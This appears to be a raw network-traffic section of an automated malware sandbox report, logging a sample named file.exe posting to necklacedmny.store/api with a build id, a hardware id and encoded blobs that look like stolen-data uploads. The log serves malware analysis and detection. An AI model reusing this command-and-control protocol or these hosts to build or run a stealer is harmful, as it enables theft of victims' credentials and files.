Oct 31, 2024 03:05:30.224015951 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 03:05:30.352241993 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 77657 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	188.114.97.3	443	7304	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:02:58 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 02:02:58 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 02:02:59 UTC	1011	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:02:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ldtj4i1j995hnt0u3c8ae4s1il; expires=Sun, 23-Feb-2025 19:49:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NyxVnTqFo9VizBmRTEGa3Ft8crxOBGqDwkjpZpZ0CiFOOPJeLkN3VgtAKNj%2FPfR6WwgbJoHyXZqC8mMDS1qO1pmHSHiNfUeBasObW9gef4W8AucNXX9s3PGvg%2BEgbk5Km79AqHk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db010e6cb0d4785-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1697&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1637083&cwnd=251&unsent_bytes=0&cid=f7bdfda221c6365a&ts=568&x=0"
2024-10-31 02:02:59 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 02:02:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	188.114.97.3	443	7304	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:03:00 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 02:03:00 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 02:03:00 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:03:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bshpfc6lci2ci8ucf292munbom; expires=Sun, 23-Feb-2025 19:49:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B6iSJ5JNUJa%2FnZSjSiWL5SXqR1aX6psfPGFGzj8PId9wEaFXHs%2Ft%2FEGHm56IEJ6A%2BSegSTEwYtdcy%2FeUunpisQ8VXICQVqGs3W%2FJkKqDifw9RT5uBQOjbvWw8WeQAu5rjrHSEns%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db010ee4e97eadd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1310&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2215761&cwnd=251&unsent_bytes=0&cid=a4ed2a9059ca2402&ts=526&x=0"
2024-10-31 02:03:00 UTC	348	IN	Data Raw: 34 64 38 0d 0a 62 47 4c 57 7a 46 33 38 37 67 35 66 70 4a 54 73 6a 69 74 32 74 68 73 44 33 62 6c 45 41 7a 6d 38 75 34 37 4e 4c 44 59 59 76 68 63 58 51 4b 44 75 5a 38 6a 43 4c 43 7a 42 74 74 62 36 57 51 50 54 4e 79 47 38 33 57 59 35 58 39 33 58 2f 61 67 41 46 47 37 54 4e 56 59 45 74 36 41 75 6d 63 49 73 4f 74 79 32 31 74 56 51 56 4e 4e 31 49 65 65 62 49 57 6c 62 33 64 66 73 72 45 64 5a 61 4e 4a 30 42 41 36 78 70 44 69 66 69 6d 38 7a 79 66 47 4a 36 30 6f 63 32 48 4a 75 74 64 52 6d 4c 78 76 5a 77 61 7a 33 44 6e 74 39 79 6e 59 68 41 36 57 6e 66 34 48 43 64 58 33 42 2b 73 36 30 43 52 66 54 65 57 2b 37 33 53 39 72 55 64 54 66 37 61 6c 47 52 6e 48 59 66 77 51 41 73 71 55 79 6c 70 35 69 4f 63 37 36 6a 2b 46 4b 56 4a 6f 35 5a 71 65 62 66 69 45 49 37 4e 72 39 76 6c Data Ascii: 4d8bGLWzF387g5fpJTsjit2thsD3blEAzm8u47NLDYYvhcXQKDuZ8jCLCzBttb6WQPTNyG83WY5X93X/agAFG7TNVYEt6AumcIsOty21tVQVNN1IeebIWlb3dfsrEdZaNJ0BA6xpDifim8zyfGJ60oc2HJutdRmLxvZwaz3Dnt9ynYhA6Wnf4HCdX3B+s60CRfTeW+73S9rUdTf7alGRnHYfwQAsqUylp5iOc76j+FKVJo5ZqebfiEI7Nr9vl
2024-10-31 02:03:00 UTC	899	IN	Data Raw: 41 73 71 41 2b 6b 34 78 2b 4e 63 33 39 69 2f 35 43 48 64 6c 30 59 62 4c 52 4b 57 4a 62 32 64 50 6d 6f 45 52 51 64 39 46 7a 44 67 44 30 34 48 2b 5a 6c 43 78 6c 68 74 57 4c 2f 45 34 59 77 6a 74 62 2f 38 52 6f 65 42 76 5a 31 61 7a 33 44 6c 78 2f 33 33 59 46 44 37 65 6d 4e 49 79 4d 66 6a 76 4c 38 35 7a 71 54 42 72 65 65 6e 4f 31 31 53 42 69 55 74 58 51 36 61 68 4b 46 44 53 63 63 68 5a 41 37 4f 34 65 6b 34 64 67 4e 39 48 32 7a 76 4d 48 44 5a 52 2b 62 66 2b 44 5a 6d 56 61 32 74 6a 6f 6f 55 42 51 64 74 70 37 41 77 2b 79 70 44 2b 5a 68 6d 51 31 78 2f 75 46 34 30 6b 52 32 58 31 6e 73 39 6f 6a 49 52 57 65 33 76 54 76 46 68 52 55 32 33 59 63 51 6f 47 74 4d 5a 43 4c 65 6e 33 5a 75 4a 65 73 54 68 69 55 49 53 47 78 33 69 6c 7a 57 73 7a 63 34 72 31 43 55 58 7a 52 64 67 Data Ascii: AsqA+k4x+Nc39i/5CHdl0YbLRKWJb2dPmoERQd9FzDgD04H+ZlCxlhtWL/E4Ywjtb/8RoeBvZ1az3Dlx/33YFD7emNIyMfjvL85zqTBreenO11SBiUtXQ6ahKFDScchZA7O4ek4dgN9H2zvMHDZR+bf+DZmVa2tjooUBQdtp7Aw+ypD+ZhmQ1x/uF40kR2X1ns9ojIRWe3vTvFhRU23YcQoGtMZCLen3ZuJesThiUISGx3ilzWszc4r1CUXzRdg
2024-10-31 02:03:00 UTC	1369	IN	Data Raw: 33 66 39 34 0d 0a 74 36 6f 37 6b 34 4e 6c 4e 4d 2f 6b 68 4f 42 48 42 74 6c 7a 5a 4c 48 58 49 32 35 62 33 39 6a 69 70 55 55 55 4e 4a 78 79 46 6b 44 73 37 68 43 54 6e 48 34 33 7a 65 66 4d 32 55 6f 61 32 6e 35 33 2f 38 52 6f 65 42 76 5a 31 61 7a 33 44 6c 39 38 30 48 6b 4f 42 71 61 67 4d 49 79 47 66 6a 6e 49 38 6f 4c 69 51 42 6e 62 66 48 4f 37 32 7a 52 67 58 74 6e 58 34 62 31 4c 46 44 53 63 63 68 5a 41 37 4f 34 46 71 6f 74 38 4c 4d 47 30 75 2b 39 48 47 74 4e 76 49 61 43 56 50 79 46 63 30 70 6d 30 37 30 31 59 64 39 56 77 41 52 4b 2b 6f 6a 36 4d 69 32 55 30 7a 50 65 41 34 30 49 59 30 57 74 71 73 4e 4d 70 59 46 62 54 30 75 69 76 44 68 6f 36 32 32 31 4f 57 50 53 50 4d 70 47 65 62 79 79 45 77 34 33 69 52 78 50 43 4f 58 37 78 77 6d 5a 6d 56 35 36 42 72 4b 35 43 57 Data Ascii: 3f94t6o7k4NlNM/khOBHBtlzZLHXI25b39jipUUUNJxyFkDs7hCTnH43zefM2Uoa2n53/8RoeBvZ1az3Dl980HkOBqagMIyGfjnI8oLiQBnbfHO72zRgXtnX4b1LFDScchZA7O4Fqot8LMG0u+9HGtNvIaCVPyFc0pm0701Yd9VwARK+oj6Mi2U0zPeA40IY0WtqsNMpYFbT0uivDho6221OWPSPMpGebyyEw43iRxPCOX7xwmZmV56BrK5CW
2024-10-31 02:03:00 UTC	1369	IN	Data Raw: 43 43 37 4f 6c 4e 4a 71 49 62 44 44 4e 2b 49 44 6c 52 52 7a 59 66 6e 4f 79 33 69 35 72 55 74 76 56 34 61 78 63 56 33 75 63 4f 30 34 48 72 4f 35 6e 33 71 74 66 43 75 57 32 6b 61 4a 51 56 4e 4e 31 49 65 65 62 4a 32 6c 63 30 4e 33 2b 6f 56 78 61 66 64 78 7a 42 67 69 7a 6f 6a 47 51 6e 6d 51 38 78 76 69 42 35 45 41 51 31 58 31 6c 73 39 78 6d 4c 78 76 5a 77 61 7a 33 44 6e 78 35 78 6d 39 4d 4c 72 2b 75 4f 49 36 61 64 33 33 5a 75 4a 65 73 54 68 69 55 49 53 47 37 30 43 78 6f 57 4e 66 64 34 61 39 48 57 33 50 55 65 41 59 53 74 61 51 74 6d 6f 6c 74 4d 73 7a 79 68 75 42 47 47 4e 42 72 61 76 2b 56 5a 6d 5a 44 6e 6f 47 73 6a 30 56 43 57 63 35 6e 54 68 2f 36 74 33 2b 5a 67 43 78 6c 68 76 2b 43 37 55 67 65 30 6e 4a 6b 73 74 73 6a 61 31 7a 53 32 65 79 73 53 46 4a 33 31 48 Data Ascii: CC7OlNJqIbDDN+IDlRRzYfnOy3i5rUtvV4axcV3ucO04HrO5n3qtfCuW2kaJQVNN1IeebJ2lc0N3+oVxafdxzBgizojGQnmQ8xviB5EAQ1X1ls9xmLxvZwaz3Dnx5xm9MLr+uOI6ad33ZuJesThiUISG70CxoWNfd4a9HW3PUeAYStaQtmoltMszyhuBGGNBrav+VZmZDnoGsj0VCWc5nTh/6t3+ZgCxlhv+C7Uge0nJkstsja1zS2eysSFJ31H
2024-10-31 02:03:00 UTC	1369	IN	Data Raw: 72 6a 43 62 68 47 63 37 79 50 65 49 34 45 52 55 6d 6a 6c 6d 70 35 74 2b 49 58 7a 45 31 4f 71 34 58 32 46 39 33 43 52 4f 48 2f 71 33 66 35 6d 41 4c 47 57 47 2b 34 4c 6d 52 42 48 51 63 57 61 38 32 69 70 6c 56 74 50 64 35 61 74 4c 52 6d 6a 61 65 77 34 50 75 71 45 7a 6a 49 4a 70 50 63 71 32 77 4b 78 4f 44 4a 51 68 49 59 37 4d 4a 69 46 45 6b 4d 43 73 71 45 49 55 49 70 78 36 41 78 4b 34 6f 54 2b 66 6a 32 67 32 77 66 43 49 37 55 6f 52 31 33 78 6e 76 74 73 71 61 31 7a 57 30 2b 4b 69 53 46 42 38 32 6a 56 41 51 4c 4f 32 66 38 62 4d 58 6a 44 49 2f 34 33 71 52 41 4c 38 53 43 47 67 6c 54 38 68 58 4e 4b 5a 74 4f 39 4b 58 33 4c 51 63 41 59 46 74 61 59 31 6c 6f 4e 6a 4c 38 66 35 68 2b 74 43 47 64 74 33 5a 4c 48 4a 49 57 70 51 31 74 44 69 71 51 34 61 4f 74 74 74 54 6c 6a Data Ascii: rjCbhGc7yPeI4ERUmjlmp5t+IXzE1Oq4X2F93CROH/q3f5mALGWG+4LmRBHQcWa82iplVtPd5atLRmjaew4PuqEzjIJpPcq2wKxODJQhIY7MJiFEkMCsqEIUIpx6AxK4oT+fj2g2wfCI7UoR13xnvtsqa1zW0+KiSFB82jVAQLO2f8bMXjDI/43qRAL8SCGglT8hXNKZtO9KX3LQcAYFtaY1loNjL8f5h+tCGdt3ZLHJIWpQ1tDiqQ4aOtttTlj
2024-10-31 02:03:00 UTC	1369	IN	Data Raw: 59 52 72 4e 63 4c 34 6e 4f 31 47 56 4a 6f 35 5a 71 65 62 66 69 46 71 79 4e 37 72 6f 41 78 39 66 63 64 30 42 41 4f 2f 6f 6e 2b 42 77 6e 56 39 77 66 72 4f 74 41 6b 5a 32 48 52 6c 72 64 63 6d 59 56 4c 5a 30 2f 36 67 51 56 6c 35 33 48 41 63 41 61 61 68 4e 4a 75 50 61 44 4c 4a 2b 6f 62 6d 43 56 71 55 66 6e 6e 2f 67 32 5a 4e 57 4d 2f 54 72 6f 68 55 51 6e 33 51 5a 41 55 4e 75 4f 34 67 30 4a 55 73 4f 73 71 32 31 71 78 4a 46 64 6c 72 5a 4c 37 52 4c 47 78 54 30 64 7a 70 6f 45 70 51 63 64 4a 6e 41 41 2b 30 71 44 53 66 69 57 38 32 7a 50 69 48 2f 67 6c 61 6c 48 35 35 2f 34 4e 6d 53 30 44 66 31 4f 44 74 59 46 39 73 32 7a 63 76 44 72 2b 70 4d 34 6a 4d 63 33 50 66 74 6f 6e 67 43 55 79 55 63 47 2b 7a 32 43 46 70 55 39 76 5a 35 36 39 42 58 6e 54 62 5a 77 51 4d 76 72 77 77 Data Ascii: YRrNcL4nO1GVJo5ZqebfiFqyN7roAx9fcd0BAO/on+BwnV9wfrOtAkZ2HRlrdcmYVLZ0/6gQVl53HAcAaahNJuPaDLJ+obmCVqUfnn/g2ZNWM/TrohUQn3QZAUNuO4g0JUsOsq21qxJFdlrZL7RLGxT0dzpoEpQcdJnAA+0qDSfiW82zPiH/glalH55/4NmS0Df1ODtYF9s2zcvDr+pM4jMc3PftongCUyUcG+z2CFpU9vZ569BXnTbZwQMvrww
2024-10-31 02:03:00 UTC	1369	IN	Data Raw: 33 5a 75 4a 65 73 54 68 69 55 49 53 47 2f 33 79 70 69 58 4e 44 57 34 61 42 4a 58 33 58 57 65 78 77 50 73 61 59 7a 6c 6f 46 2b 4e 38 7a 6b 68 2b 56 45 47 74 78 72 59 76 2b 56 5a 6d 5a 44 6e 6f 47 73 6e 55 52 58 64 73 70 34 41 55 43 72 34 43 62 65 69 32 42 39 6e 72 61 63 2f 6b 6b 66 31 48 35 76 72 64 6f 75 62 6c 48 65 33 2b 65 6c 54 56 31 2b 30 6e 77 49 41 62 6d 76 50 70 36 4a 62 44 54 55 2b 38 36 69 43 52 50 4d 4f 54 6e 2f 37 43 70 71 61 74 33 50 72 4c 41 41 54 54 72 62 65 55 35 59 39 4b 38 74 6b 34 52 6f 50 63 76 77 68 65 31 49 46 39 52 35 59 72 2f 65 4c 57 35 64 32 64 54 6d 70 6b 64 47 63 74 68 6e 44 67 79 77 37 6e 48 65 69 33 52 39 6e 72 61 2b 37 30 49 59 31 48 52 30 2f 38 52 6f 65 42 76 5a 31 61 7a 33 44 6c 78 78 31 33 4d 46 41 37 65 67 4e 4a 53 44 59 Data Ascii: 3ZuJesThiUISG/3ypiXNDW4aBJX3XWexwPsaYzloF+N8zkh+VEGtxrYv+VZmZDnoGsnURXdsp4AUCr4Cbei2B9nrac/kkf1H5vrdoublHe3+elTV1+0nwIAbmvPp6JbDTU+86iCRPMOTn/7Cpqat3PrLAATTrbeU5Y9K8tk4RoPcvwhe1IF9R5Yr/eLW5d2dTmpkdGcthnDgyw7nHei3R9nra+70IY1HR0/8RoeBvZ1az3Dlxx13MFA7egNJSDY
2024-10-31 02:03:00 UTC	1369	IN	Data Raw: 46 2b 6b 67 5a 33 33 55 6a 76 74 59 32 5a 68 75 51 6d 65 72 76 46 67 51 30 6e 48 45 66 51 4f 7a 2b 62 63 58 5a 50 32 71 57 70 4a 47 69 55 46 54 43 4f 54 6e 74 6c 57 5a 7a 47 34 61 5a 71 36 78 63 52 6e 7a 66 59 77 31 48 69 70 41 66 6c 59 42 76 4d 63 66 78 7a 71 49 4a 47 35 51 68 57 50 2f 59 4e 48 4d 55 7a 38 2f 68 76 30 6b 59 63 73 31 34 41 6b 44 36 37 6e 4f 61 68 32 41 34 77 65 62 42 2f 6c 6b 66 32 47 38 74 75 38 6c 6d 4c 78 76 50 30 75 4f 39 51 46 4d 31 7a 57 4d 44 45 4c 65 72 4f 4e 4b 45 66 54 44 4b 74 73 43 73 58 42 2f 59 66 32 79 71 6c 44 64 33 57 4d 6a 65 6f 4b 64 66 57 58 61 63 53 6b 42 41 72 4f 35 6e 33 72 6c 76 4d 38 6a 78 6d 50 30 45 4e 4e 39 31 59 72 50 61 49 53 45 56 6e 74 2b 73 39 78 30 61 4f 74 68 6b 54 6c 6a 6b 2f 47 54 4c 33 7a 74 74 6c 4f Data Ascii: F+kgZ33UjvtY2ZhuQmervFgQ0nHEfQOz+bcXZP2qWpJGiUFTCOTntlWZzG4aZq6xcRnzfYw1HipAflYBvMcfxzqIJG5QhWP/YNHMUz8/hv0kYcs14AkD67nOah2A4webB/lkf2G8tu8lmLxvP0uO9QFM1zWMDELerONKEfTDKtsCsXB/Yf2yqlDd3WMjeoKdfWXacSkBArO5n3rlvM8jxmP0ENN91YrPaISEVnt+s9x0aOthkTljk/GTL3zttlO
2024-10-31 02:03:00 UTC	1369	IN	Data Raw: 56 4d 49 35 4f 65 79 56 5a 6e 4d 62 68 70 6d 72 6f 55 4e 56 65 64 4a 32 48 42 4b 79 72 53 6d 64 79 31 49 44 34 2f 75 44 36 55 63 54 36 6b 64 41 74 63 73 72 62 6c 7a 67 35 39 75 2b 53 55 51 34 2b 6e 59 59 41 2f 54 67 66 34 62 4d 4e 48 33 6e 2f 4a 37 68 52 68 4f 55 4e 79 47 37 6d 33 34 68 66 74 50 55 36 61 46 4a 46 6c 76 57 5a 51 4d 50 73 2b 35 78 33 6f 41 73 5a 59 62 33 68 50 78 45 47 39 4d 31 5a 71 58 63 5a 69 38 62 30 4a 6d 30 37 30 39 65 61 74 46 36 43 55 79 79 6f 44 48 65 6b 79 49 6b 68 75 44 4f 74 42 70 61 6c 47 73 68 35 35 74 68 62 31 62 66 32 75 4b 73 58 45 5a 38 33 32 4d 4e 52 34 71 51 47 70 4f 42 61 54 50 42 79 4c 44 4e 51 77 54 5a 64 6d 62 39 2b 79 46 33 57 4f 44 6e 32 37 35 4a 52 44 6a 36 64 68 67 44 39 4f 42 2f 68 73 77 30 66 65 66 38 6e 75 46 Data Ascii: VMI5OeyVZnMbhpmroUNVedJ2HBKyrSmdy1ID4/uD6UcT6kdAtcsrblzg59u+SUQ4+nYYA/Tgf4bMNH3n/J7hRhOUNyG7m34hftPU6aFJFlvWZQMPs+5x3oAsZYb3hPxEG9M1ZqXcZi8b0Jm0709eatF6CUyyoDHekyIkhuDOtBpalGsh55thb1bf2uKsXEZ832MNR4qQGpOBaTPByLDNQwTZdmb9+yF3WODn275JRDj6dhgD9OB/hsw0fef8nuF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	188.114.97.3	443	7304	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:03:01 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-31 02:03:01 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 38 32 38 33 31 41 34 43 34 45 46 38 38 38 44 33 35 42 30 44 30 31 34 34 45 31 35 37 46 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"982831A4C4EF888D35B0D0144E157F77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 02:03:01 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-31 02:03:02 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:03:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ktf1m9qc6ur0bkvo4fhb38ov44; expires=Sun, 23-Feb-2025 19:49:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ROQpQg6XEeA%2FBeMWg9bes52Pe9uWfigQCGhnqNmsEwi1DznFe%2BShQD60NwcSIJPbFWL6PoBvDAdANa%2FbYPUfYCM6mW4Y7E66YvPcTS8axq6ZpviHyFtXr3UO39CvHsS22bPl5pM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db010f68df3475c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1742&sent=11&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19132&delivery_rate=1619686&cwnd=251&unsent_bytes=0&cid=85939dedcad4bb46&ts=886&x=0"
2024-10-31 02:03:02 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 02:03:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	188.114.97.3	443	7304	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:03:02 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-31 02:03:02 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 38 32 38 33 31 41 34 43 34 45 46 38 38 38 44 33 35 42 30 44 30 31 34 34 45 31 35 37 46 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"982831A4C4EF888D35B0D0144E157F77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 02:03:03 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:03:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tntt548sd85v9b7236dg5ak88e; expires=Sun, 23-Feb-2025 19:49:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dJ7CNb21jKWdF%2BLre8Co22A4Bk0oDrxLxGBcdGCxp3xu5c6lpLwJRdE%2F0UnUSUj2ZAyIuiu708mEcsZA%2F%2FoXf5tpKcFJ%2FG6gVkVFCtCx6j%2FVdRa0Gx96988mcveMXopZ1z1oTsE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db011002f19e9b9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1920&sent=6&recv=13&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9730&delivery_rate=1481329&cwnd=251&unsent_bytes=0&cid=e2acc7505595d179&ts=551&x=0"
2024-10-31 02:03:03 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 02:03:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
